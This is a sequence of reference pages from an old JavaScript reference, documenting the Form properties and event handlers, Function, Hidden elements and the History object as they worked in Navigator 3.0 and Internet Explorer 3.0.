The elements of a form (buttons, input fields, check boxes, and so on) are collected in the Form.elements[] array. Named elements, like named forms, can also be referenced directly by name--the element name is used as a property name of the Form object. Thus, to refer to a Text object element named "phone" within a form named "questionnaire," you might use the JavaScript expression:

document.questionnaire.phone

See the descriptions of the Form properties and methods for more information about this object.

See Also

"Button", "Checkbox", "Element", "FileUpload", "Hidden", "Password", "Radio", "Reset", "Select", "Submit", "Text", "Textarea"

Previous | Home | Next
focus() | Book Index | Form.action
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Form.action

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Form.action Property

Name

Form.action Property---the URL for form submission

Availability

Navigator 2.0; implemented but nonfunctional in Internet Explorer 3.0

Synopsis

form.action

Description

action is a read/write string property of the Form object. It specifies the URL to which the form data will be sent when the form is submitted. The initial value of this property is specified by the ACTION attribute of the <FORM> HTML tag. Usually, this URL specifies a CGI script, although it can also be a mailto: address.

You can set this property in Internet Explorer 3.0, but doing so will have no effect on how the form is submitted.

See Also

"Form"

Previous | Home | Next
Form | Book Index | Form.elements[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Form.elements[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Form.elements[] Property

Name

Form.elements[] Property---the input elements of the form

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

form.elements[i]
form.elements.length

Description

form.elements is an array of the form input objects in form. The array has elements.length items in it. These items may be of any of the form input element types: Button, Checkbox, Hidden, Password, Radio, Reset, Select, Submit, Text, and Textarea. These form input objects appear in the array in the same order that they appear in the HTML source code for the form.

Usage

If an item in the form.elements[] array has been given a name with the NAME="name" attribute of its HTML <INPUT> tag, then that item's name becomes a property of form, and this property refers to the item. Thus, it is possible to refer to input objects by name instead of by number:

form.name

Usually, referring to elements by name is easier, and it is therefore a good idea to specify the NAME attribute for all form elements.

See Also

"Button", "Checkbox", "Element", "Form", "Hidden", "Password", "Radio", "Reset", "Select", "Submit", "Text", "Textarea"

Previous | Home | Next
Form.action | Book Index | Form.encoding
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Form.encoding

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Form.encoding Property

Name

Form.encoding Property---the encoding of form data

Availability

Navigator 2.0; implemented but nonfunctional in Internet Explorer 3.0

Synopsis

form.encoding

Description

encoding is a read/write string property of the Form object. It specifies how form data is encoding for transmission when the form is submitted. The initial value of this property is specified by the ENCTYPE attribute of the <FORM> tag. The default value is "application/x-www-form-urlencoded", which is sufficient for almost all purposes. Other values may sometimes be necessary. For example, a value of "text/plain" is convenient when the form is being submitted by email to a mailto: URL. See O'Reilly's book CGI Programming on the World Wide Web, by Shishir Gundavaram, for further information.

You can set this property in Internet Explorer 3.0, but doing so will have no effect on how the form is encoded.

See Also

"Form"

Previous | Home | Next
Form.elements[] | Book Index | Form.method
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Form.method

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Form.method Property

Name

Form.method Property---the submission method for the form

Availability

Navigator 2.0; implemented but nonfunctional in Internet Explorer 3.0

Synopsis

form.method

Description

method is a read/write string property of the Form object. It specifies the method by which form data is submitted. The initial value of this property is specified by the METHOD attribute of the <FORM> tag. The two legal values are GET and POST.

The GET method is the default. It is usually used for form submissions such as database queries that do not have side effects. With this method, the encoded form data is appended to the URL specified by the Form.action property. CGI scripts receiving a form submitted by this method generally read the form data from the QUERY_STRING environment variable.

The POST method is appropriate for form submissions, such as additions to databases, that have side effects. With this method, encoded form data is sent in the HTTP request body, and is available to CGI scripts that read from the standard input stream.

Consult CGI Programming on the World Wide Web if you are not sure which method to use or how to write a CGI script to receive data submitted from a form.

You can set this property in Internet Explorer 3.0, but doing so will have no effect on how the form is submitted.

See Also

"Form"

Previous | Home | Next
Form.encoding | Book Index | Form.onreset()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Form.onreset()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Form.onreset() Handler

Name

Form.onreset() Handler---invoked when a form is reset

Availability

Navigator 3.0

Synopsis

<FORM
    onReset="handler-statements"  a definition of the handler
    ...attributes...  other attributes here
>
form.onreset  a reference to the handler
form.onreset();   an explicit invocation of the handler

Description

onreset() is an event handler of the Form object, and is invoked when the form is reset, either through the Form.reset() method or when the user clicks on a Reset button.

This event handler is defined by the onReset attribute of the <FORM> tag that defines a form. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed when the form is submitted.

If the onreset() handler returns false, then the elements of the form will not be reset.

Example

You could use the following event-handler to ask the user to confirm that they really want to reset the form:

<FORM ...
    onReset="return confirm('Really erase all entered data?')"
>

See Also

"Form", "Form.onsubmit()", "Form.reset()"

Previous | Home | Next
Form.method | Book Index | Form.onsubmit()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Form.onsubmit()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Form.onsubmit() Handler

Name

Form.onsubmit() Handler---invoked when a form is submitted

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<FORM
    onSubmit="handler-statements" a definition of the handler
    ...attributes...  other attributes here
>
form.onsubmit a reference to the handler
form.onsubmit();  an explicit invocation of the handler

Description

onsubmit() is an event handler which is invoked when the form it is associated with is submitted, either when the user clicks a Submit button object, or when the submit() method is called for the form. This event handler is defined by the onSubmit attribute of the <FORM> tag that defines a form. The value of the attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed when the form is submitted.

A typical use of the onsubmit() event handler is to check that the user's input is valid before sending it over the network to a server. If the data is not valid, the onsubmit() handler may cancel form submission by returning the value false. If the handler returns any other value, or returns no value at all then the form will be submitted normally.

Usage

Whenever you use the onsubmit() event handler to cancel the submission of a form, you should be sure to notify the user why the submission was canceled, so that they can correct the problem. Window.alert() is a useful way to provide this information to the user.

See Also

"Form", "Form.submit()"

Previous | Home | Next
Form.onreset() | Book Index | Form.reset()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Form.reset()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Form.reset() Method

Name

Form.reset() Method---reset the elements of a form

Availability

Navigator 3.0

Synopsis

form.reset()

Arguments

None.

Returns

Nothing.

Description

The reset() method resets the specified form, restoring each element of the form to its default value, exactly as if a Reset button had been pressed by the user. The form's onreset() event handler is first invoked, and may prevent the reset from occurring by returning the value false.

See Also

"Form", "Form.onreset()"

Previous | Home | Next
Form.onsubmit() | Book Index | Form.submit()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Form.submit()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Form.submit() Method

Name

Form.submit() Method---submit a form

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

form.submit()

Arguments

None.

Returns

Nothing.

Description

The submit() method submits the specified form, almost as if a Submit button had been pressed by the user. The form is submitted as specified by the action, method and encoding properties of form (or the ACTION, METHOD, and ENCTYPE attributes of the <FORM> tag), and the results are displayed in the window or frame specified by the target property or the TARGET attribute.

The one important difference between the submit() method and form submission by the user is that the onsubmit() event handler is not invoked when submit() is called. If you use onsubmit() to perform input validation, for example, you'll have to do that validation explicitly before calling submit().

Usage

It is more common to use a Submit button to allow the user to submit the form than it is to call the submit() method yourself.

See Also

"Form", "Form.onsubmit()", "Submit"

Previous | Home | Next
Form.reset() | Book Index | Form.target
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: assign()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

assign() Method

Name

assign() Method---see "Object.assign()"

Previous | Home | Next
Array.sort() | Book Index | blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Form.target

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Form.target Property

Name

Form.target Property---the window for form results

Availability

Navigator 2.0; implemented but nonfunctional in Internet Explorer 3.0

Synopsis

form.target

Description

target is a read/write string property of the Form object. It specifies the name of the frame or window in which the results of the submission of form should be displayed. The initial value of this property is specified by the TARGET attribute of the <FORM> tag. If unset, the default is for form submission results to appear in the same window as the form.

Note that the value of target is the name of a frame or window, not the actual frame or window itself. The name of a frame is specified by the NAME attribute of the <FRAME> tag. The name of a window is specified when the window is created with a call to the Window.open() method. If target specifies the name of a window that does not exist, then Navigator will automatically open a new window to display the results of form submission, and any future forms with the same target name will use the same newly created window.

Four special target names are supported. The target named "_blank" specifies that a new, empty browser window should be created and used to display the results of the form submission. The target "_self" is the default; it specifies that the form submission results should be displayed in the same frame or window as the form itself. The target "_parent" specifies that the results should be displayed in the parent frame of the frame that contains the form. Finally, the "_top" target specifies that the results should be displayed in the topmost frame--i.e., that all frames should be removed, and the results should occupy the entire browser window.

You can set this property in Internet Explorer 3.0, but doing so will have no effect on the actual target of the form.

See Also

"Form", "Link.target"

Previous | Home | Next
Form.submit() | Book Index | Frame
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Frame

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Frame Object

Name

Frame Object---a type of Window object

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.frames[i]
window.frames.length
frames[i]
frames.length

Description

Though the Frame object is sometimes referred to, there is, strictly speaking, no such object. All frames within a browser window are instances of the Window object, and they contain the same properties and support the same methods and event handlers as the Window object does. See the Window object, and its properties, methods, and event handlers for details.

There are a few practical differences between Window objects that represent top-level browser windows, and those that represent frames within a browser window, however:

  • When the defaultStatus property is set for a frame, the specified status message is only visible when the mouse is within that frame.

  • The top and parent properties of a top-level browser window always refer to the top-level window itself. These properties are only really useful for frames.

  • The close() method is not useful for Window objects that are frames.

See Also

"Window"

Previous | Home | Next
Form.target | Book Index | frames[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: frames[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

frames[] Property

Name

frames[] Property---see "Window.frames[]"

Previous | Home | Next
Frame | Book Index | Function
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Function

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Function Object

Name

Function Object---a JavaScript function

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

function functionname(argname1 [, ... argname_n])
{
     body
}

Constructor

new Function([argname1 [, ..., argname_n]], body) Navigator 3.0 only

Arguments

argname1, ..., argname_n

Any number of string arguments, each one of which names one argument of the Function object being created.

body

A string that specifies the body of the function. It may contain any number of JavaScript statements, separated with semicolons.

Returns

The newly created Function object.

Properties

arguments[]

An array of arguments that were passed to the function.

arguments.length

The number of elements in the arguments[] array.

caller

A reference to the Function object that invoked this this one, or null if the function is invoked at the top level.

prototype

An object which, for constructor functions, defines properties and methods that will be shared by all objects created with that constructor function.

Methods

toString()

Return a string representation of the function.

Description

A function is a fundamental data type in JavaScript. Chapter 6, Functions, explains how to define and use functions. The Function object is an object wrapper around the basic function data type; this object type exists so that functions can have properties and methods associated with them. When a function value is used in an "object context"--i.e., when you attempt to invoke a method or read a property of a function, JavaScript internally converts the function value into a temporary Function object, so that the method can be invoked or the property value read.

In Navigator 3.0, you can also use the Function() constructor method shown above to create your own Function objects. Functions defined in this way are sometimes called "anonymous" functions, because they are not given a name when they are created. Chapter 6, Functions discusses the definition and use of anonymous functions. Just as JavaScript converts from a function value to a Function object whenever necessary, so it will convert from a Function object (created with the Function() constructor) to a function value whenever you use the object in a function value context--i.e., whenever you invoke it with the () operator. This conversion from Function object to function value is done by the valueOf() method.

The arguments[] and caller properties of the Function object are unusual because they may only be accessed from within the body of a function. That is, they are only defined for a Function object while that function is being executed. There is no special keyword in JavaScript that refers to the currently executing function, so you must refer to Function objects by name. For example:

function myfunc()
{
    if (myfunc.arguments.length == 0) return;
        ...
}

Because JavaScript is loosely typed language, it does not care what number or type of arguments you pass to a function, even if you provided argument names when you defined the function. The arguments[] property is an array containing whatever arguments were passed to the function. You can use this array to implement functions that can handle any number of arguments correctly.

The caller property refers to the function that called this one. You can print out the caller for debugging purposes, and you can even use this property to invoke the calling function--creating a strange sort of recursion.

Note that the arguments property is actually just a reference to the Function object itself. Therefore, instead of typing function.arguments[i] and function.arguments.length you can just use function[i] and function.length. Although using the arguments property is unnecessary, it often makes for clearer code, and is the officially supported way to access function arguments.

Finally, the prototype property of the Function object is a very powerful one. It refers to a "prototype" object from which other objects "inherit" properties and methods. When a function is used as a constructor function, any objects created with that constructor will inherit the properties and methods defined in the prototype object of the constructor. Prototype objects and the prototype property are discussed in Chapter 7, Objects.

See Also

"Object", Chapter 6, Functions, Chapter 7, Objects

Previous | Home | Next
frames[] | Book Index | Function.arguments[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Function.arguments[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Function.arguments[] Property

Name

Function.arguments[] Property---arguments passed to a function

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

function.arguments[i]
function.arguments.length

Description

The arguments property of a Function object is an array of the arguments that are passed to a function. arguments.length specifies the number of elements in the array. JavaScript allows any number and any type of arguments to be passed to a function, and the arguments[] array allows you to write functions that can gracefully accept a variable number of arguments.

If the function was defined with n argument names, then the first n elements in the arguments[] array may also be referenced through the defined argument names.

See Function for more details on the use of this property.

See Also

"Function"

Previous | Home | Next
Function | Book Index | Function.caller
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Function.caller

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Function.caller Property

Name

Function.caller Property---the function that called this one

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

function.caller

Description

The caller property of a Function object is a reference to the function that invoked the current one. If the function was invoked from the top level of a JavaScript program, then caller will be null. This property may only be used from within the function, i.e., the caller property is only defined for a function while that function is executing.

See Function for more information.

See Also

"Function"

Previous | Home | Next
Function.arguments[] | Book Index | Function.prototype
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Function.prototype

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Function.prototype Property

Name

Function.prototype Property---the prototype for a class of objects

Availability

Navigator 3.0, Internet Explorer 3.0

Synopsis

function.prototype

Description

The prototype property of a function is only useful when the function is used as a constructor function. It refers to an object, which is initially empty--i.e., has no properties or methods defined.

The prototype object serves as a prototype for an entire class of objects. This is because any objects created through a constructor function will "inherit" the properties and methods defined in that prototype. This "inheritance" is done in a way that does not consume any memory in the inheriting object. When you use a property or invoke a method in the context of an inheriting object, the object's own properties and methods are first checked. If the property or method you specified is not found there, JavaScript then checks the properties and methods of the prototype object. This means that when you add properties to a prototype object, those properties will immediately appear to have been added to any existing instances of the corresponding object type.

Note that prototypes are not shared across windows. If you add a method to the String.prototype object in one window, then all strings in that window will have access to this new method. Strings defined in other windows, however, will not see the new method.

In Navigator 3.0, a prototype object is not created for a constructor function until the constructor is used to create an object for the first time. Thus, in Navigator 3.0, you must create and discard a dummy object with a constructor function before you can assign values to the constructor's prototype object. This is not necessary in Internet Explorer 3.0.

The title of this page is "Function.prototype". Note that there are two possible meanings for this title. The first, and the intended one, is that this page documents the prototype property shared by all Function objects. But note that all constructor functions have a prototype property and Function() is a constructor function. Therefore, this page could also be documenting the prototype property of the Function() constructor. In a sense it is: you can add new properties or methods to all JavaScript Function objects by setting those properties and methods in the Function.prototype object.

Usage

Prototypes are one of the main techniques for defining the features of an object type or "class" in JavaScript. They are particularly useful in providing methods and constants for use with a whole class of objects. They are also useful for defining properties with default values which individual objects may optionally override.

The prototype object can also be used to add new properties or methods to many predefined JavaScript object types as well, as the example below shows.

Example

The following code shows how you could add a new method to the String object type by specifying the method on the prototype object:

// Define a function
function String_output(d) { d.write(this); }
// Set it as a method in the String.prototype object
String.prototype.output = String_output;
// Use it like this
"Hello World!".output(document);
In Navigator 3.0, this code makes the new output() method available for all strings in the current window. In Internet Explorer 3.0, however, it only makes the method available for String objects, not primitive strings. This misfeature will be fixed in a future release.

As another example, consider the Window object. It has a top property that refers to the top-level web browser window. Suppose you wanted all objects in your JavaScript application to contain a reference to this top-level window. You could implement this with a single line of code:

Object.prototype.top = self.top;

After executing this code, any JavaScript object (all current and future objects) that does not already have a top property will now have one, and it will refer to the top-level window self.top.

Bugs

Navigator 3.0 requires a constructor to be used once before anything can be assigned to its prototype object. Internet Explorer 3.0 does not allow primitive strings to use methods or properties defined in String.prototype. Similarly, Internet Explorer 3.0 does not support prototype objects for the Boolean, Number, and Function objects.

See Also

Chapter 7, Objects

Previous | Home | Next
Function.caller | Book Index | Function.toString()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Function.toString()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Function.toString() Method

Name

Function.toString() Method---convert a function to a string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

function.toString()

Arguments

None.

Returns

A string that represents the function.

Description

The toString() method of the Function object converts a function to a string. In Navigator 2.0 and 3.0, it returns a string of valid JavaScript code--code that includes the function keyword, argument list, the complete body of the function, and so on. In Internet Explorer 3.0, the toString() method returns a string that identifies the function but that does not include the JavaScript code that constitutes the function.

See Also

"Function", "Object.toString()"

Previous | Home | Next
Function.prototype | Book Index | getClass()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: getClass()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

getClass() Function

Name

getClass() Function---return the JavaClass of a JavaObject

Availability

Navigator 3.0

Synopsis

getClass(javaobj)

Arguments

javaobj

A JavaObject object.

Returns

The JavaClass object of javaobj.

Description

getClass() is a function that takes a JavaObject object (javaobj) as an argument. It returns the JavaClass object that JavaObject. That is, it returns the JavaClass object that represents the Java class of the Java object represented by the specified JavaObject.

Usage

Don't confuse the JavaScript getClass() function with the getClass method of all Java objects. Similarly, don't confuse the JavaScript JavaClass object with the Java java.lang.Class class.

Consider the Java rectangle object created with the following line:

var r = new java.awt.Rectangle();

r is a JavaScript variable that holds a JavaObject object. Calling the JavaScript function getClass() returns a JavaClass object that represents the java.awt.Rectangle class:

var c = getClass(r);

You can see that this is so by comparing this JavaClass object to java.awt.Rectangle:

if (c == java.awt.Rectangle) ...

The Java getClass() method is invoked differently and performs an entirely different function:

c = r.getClass();

After executing the above line of code, c is a JavaObject that represents a java.lang.Class object. This java.lang.Class object is a Java object that is a Java representation of the java.awt.Rectangle class. See your Java documentation for details on what you can do with the java.lang.Class class.

To summarize, you can see that the following expression will always evaluate to true, for any JavaObject o:

(getClass(o.getClass()) == java.lang.Class)

See Also

"java", "JavaArray", "JavaClass", "JavaObject", "JavaPackage", "Packages", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
Function.toString() | Book Index | Hidden
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Hidden

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Hidden Element

Name

Hidden Element---hidden data for client/server communication

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

form.name
form.elements[i]

Properties

form

A read-only reference to the Form object that contains the Hidden element.

name

A read-only string, set by the HTML NAME attribute, that specifies the name of the Hidden element. This is also the name that can be used to reference the Hidden element as a property of its form.

type

A read-only string that specifies the type of this form element. For Hidden elements, it has the value "hidden." Available in Navigator 3.0 and later.

value

A read/write string, initially set by the HTML VALUE attribute, which specifies arbitrary data to be transmitted to the server when the form is submitted. This data is never visible to the user.

HTML Syntax

A Hidden element is created with a standard HTML <INPUT> tag:

<FORM>
    ...
  <INPUT
    TYPE="hidden"   specifies that this is a Hidden element
    [ NAME="name" ]   a name that can later be used to refer to this element
    specifies the name property
    [ VALUE="value" ] the value transmitted when the form is submitted
    specifies the initial value of the value property
  >
    ...
</FORM>

Description

The Hidden element is an invisible form element that allows arbitrary data to be transmitted to the server when the form is submitted. You can use a Hidden element when you want to transmit additional information, besides the user's input data, to the server.

When an HTML document is generated on-the-fly by a server, another use of Hidden form elements is to transmit data from the server to the client for later processing by JavaScript on the user's side. For example, the server might transmit raw data to the client in a compact machine readable form by specifying the data in the VALUE attribute of a Hidden element or elements. On the client side, a JavaScript program (transmitted along with the data or in another frame) could read the value property of the Hidden element or elements and process, format, and display that data in a less compact human-readable (and perhaps user-configurable) format.

Hidden elements can also be useful for communication between CGI scripts, even without the intervention of JavaScript on the client side. In this usage, one CGI script generates a dynamic HTML page containing hidden data, which is then submitted back to a second CGI script. This hidden data can communicate state information, such as the results of submission of a previous form.

Usage

Cookies can also be used to transmit data from client to server. An important difference between hidden form elements and cookies, however, is that cookies are persistent on the client side.

See Also

"Element", "Form", "Document.cookie"

Previous | Home | Next
getClass() | Book Index | Hidden.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

blur() Method

Name

blur() Method---see "Window.blur()"

Previous | Home | Next
assign() | Book Index | Boolean
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Hidden.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Hidden.form Property

Name

Hidden.form Property--- see "Element.form"

Previous | Home | Next
Hidden | Book Index | Hidden.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Hidden.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Hidden.name Property

Name

Hidden.name Property--- see "Element.name"

Previous | Home | Next
Hidden.form | Book Index | Hidden.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Hidden.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Hidden.type Property

Name

Hidden.type Property---see "Element.type"

Previous | Home | Next
Hidden.name | Book Index | Hidden.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Hidden.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Hidden.value Property

Name

Hidden.value Property---arbitrary data submitted with a form

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

hidden.value

Description

value is a read/write string property of the Hidden object. It specifies arbitrary data that is passed to the web server when the form containing the Hidden object is submitted. The initial value of value is specified by the VALUE attribute of the <INPUT> tag that defines the Hidden object. See Hidden for a description of how this property can be used.

See Also

"Hidden"

Previous | Home | Next
Hidden.type | Book Index | history
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: history

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

history Property

Name

history Property---see "Window.history"

Previous | Home | Next
Hidden.value | Book Index | History
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: History

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

History Object

Name

History Object---the URL history of the browser

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0 when data tainting is enabled

Synopsis

window.history
frame.history
history

Properties

current

A string that specifies the URL of the current document. Only available with data tainting enabled in Navigator 3.0.

length

The number of URLs that are saved in the History object.

next

A string that specifies the URL of the document after this one in the history list. Only available with data tainting enabled in Navigator 3.0.

previous

A string that specifies the URL of the document before this one in the history list. Only available with data tainting enabled in Navigator 3.0.

Methods

back()

Go backwards to a previously visited URL.

forward()

Go forward to a previously visited URL.

go()

Go to a previously visited URL.

toString()

Return an HTML-formatted table containing the window's browsing history. Only available with data tainting enabled in Navigator 3.0.

Description

The History object is a read-only array of strings that specify the URLs that have been previously visited by the browser. The contents of this array are equivalent to the URLs listed in Navigator's Go menu. For security and privacy reasons, the contents of the array are not available to JavaScript in Navigator 2.0, or in Navigator 3.0 when the data-tainting security model is not enabled.

In Navigator 2.0, and Navigator 3.0 without data tainting enabled, JavaScript can use the length property to determine the number of entries on the History object's URL list, and can use the back(), forward() and go() methods to cause the browser to revisit any of the URLs in the array, but it cannot directly or indirectly read the URLs stored in the array.

In Navigator 3.0 and later, when the data-tainting security model is enabled, the elements of the array are available and may be read (but not changed). Also, the current, next, and previous properties are available. These properties are strings that specify the URL of the current document, and the URLs of the documents that precede and follow it in the history array. Finally, enabling data tainting also makes the toString() method of the History object functional. This method returns a string of HTML text. When this string is formatted by a browser (i.e., written with document.write()), it displays the browser history as a table of URLs, each with an appropriate hyperlink.

Usage

You can use the History object to implement your own Forward and Back buttons, or other navigation controls, within a window. This is most often useful for sites that use frames. With data tainting enabled, more sophisticated navigation aids are possible.

Example

With or without data tainting, you can use the back(), forward(), and go() methods of the History object. The following line performs the same action as clicking the Back button:

history.back();

The following performs the same action as clicking the Back button twice:

history.go(-2);

With data tainting enabled, you can access the history object as an array and read URLs directly. The first URL displayed by the current window is:

history[0]

The last URL displayed by that window is:

history[history.length-1]

The currently displayed URL is:

history.current

And the URLs of the documents before and after that one in the history array are:

history.previous
history.next

See Also

"Location"

Previous | Home | Next
history | Book Index | History.back()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: History.back()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

History.back() Method

Name

History.back() Method---return to the previous URL

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

history.back()

Arguments

None.

Returns

Nothing.

Description

back() causes the window or frame to which the History object belongs to revisit the URL (if any) that was visited immediately before the current one. Calling this method has the same effect as a user's click on the Navigator Back button. It is also equivalent to:

history.go(-1);

See Also

"History", "History.forward()", "History.go()"

Previous | Home | Next
History | Book Index | History.current
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: History.current

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

History.current Property

Name

History.current Property---the URL of the currently displayed document

Availability

Navigator 3.0, when data tainting is enabled

Synopsis

history.current

Description

The current property of the History object is a read-only string that contains the URL of the current document.

See Also

"History"

Previous | Home | Next
History.back() | Book Index | History.forward()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: History.forward()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

History.forward() Method

Name

History.forward() Method---visit the next URL

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

history.forward()

Arguments

None.

Returns

Nothing.

Description

forward() causes the window or frame to which the History object belongs to revisit the URL (if any) that was visited immediately after the current one. Calling this method has the same effect as a user's click on the Navigator Forward button. It is also equivalent to:

history.go(1);

Note that if the user has not used the Back button or the Go menu to move backwards through the history, and if JavaScript has not invoked the History.back() or History.go() methods, then the forward() method will have no effect, because the browser is already at the end of its list of URLs and there is no URL to go forward to.

See Also

"History", "History.back()", "History.go()"

Previous | Home | Next
History.current | Book Index | History.go()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: History.go()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

History.go() Method

Name

History.go() Method---revisit a URL

Availability

Buggy in Navigator 2.0 and 3.0, partially implemented in Internet Explorer 3.0

Synopsis

history.go(relative_position)
history.go(target_string)   buggy in 2.0

Arguments

relative_position

The relative position in the History list of the URL to visit. In Internet Explorer 3.0, this argument must be 1, 0, or -1.

target_string

A substring of the URL to be visited. This version of the go() method is buggy in Navigator 2.0 and not implemented in Internet Explorer 3.0.

Returns

Nothing.

Description

The first form of the History.go() method takes an integer argument and causes the browser to visit the URL that is the specified number of positions distant in the history list maintained by the History object. Positive arguments move the browser forward through the list and negative arguments move it backwards. Thus, calling history.go(-1) is equivalent to calling history.back(), and, in Navigator, produces the same effect as a user click on the Back button. Similarly, history.go(3) revisits the same URL that would be visited by calling history.forward() three times. Calling go() with an argument of 0 causes the current page to be reloaded (although in Navigator 3.0, the Location.reload() provides a better way of doing this). This form of the method is buggy in multiframe documents in Navigator 3.0, and in Internet Explorer, it can only be called with the values 1, 0, and -1.

